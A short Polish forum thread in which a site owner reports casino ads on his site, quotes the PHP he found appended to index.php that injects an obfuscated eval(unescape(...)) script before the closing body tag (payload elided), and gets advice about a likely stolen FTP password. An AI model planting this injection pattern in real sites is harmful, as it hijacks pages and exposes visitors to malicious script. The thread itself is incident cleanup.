wlamanie ? Opcje

[spidero]

Witajcie

Od kilku dni na jednej z moich stron zaczely sie pojawiac reklamy kasyna, po dlugin sledzctwie w index.php na koncu byl dodany kod podmieniajacy stopke

<?php function phpfake($buffer)

{
$Exp='<script

language="javascript">
[...]
eval(unescape($));document.write($);</sc

ript>';
return (ereg_replace("</body>", "$Exp</body>", $buffer));
}
?>

usunalem i nie ma reklam.

Ale problem pozostaje. W jaki sposob moglo sie to tam znalesc ? pliki nie sa edytowane z poziomu www, wlamanie na serwer czy moze przez php ? spotkaliscie sie kiedys z czym takim ?

Adres strony: http://husariaszczecin.pl
Wlamanie przez komentarze ?

[l0ud]

Jest to prawdopodobnie włamanie na serwer poprzez FTP z hasłem ściągniętym z Twojego zainfekowanego komputera lub innego, w którym uzyskiwałeś dostęp poprzez FTP do strony.

- Przeskanuj swój komputer i inne komputery które uzyskiwały dostęp do strony przez FTP
- Zmień hasło do FTP

Ktoś miał podobny problem, przeczytaj:
http://blog.brodowski.net.pl/2008/04/14/go...pieczna-strona/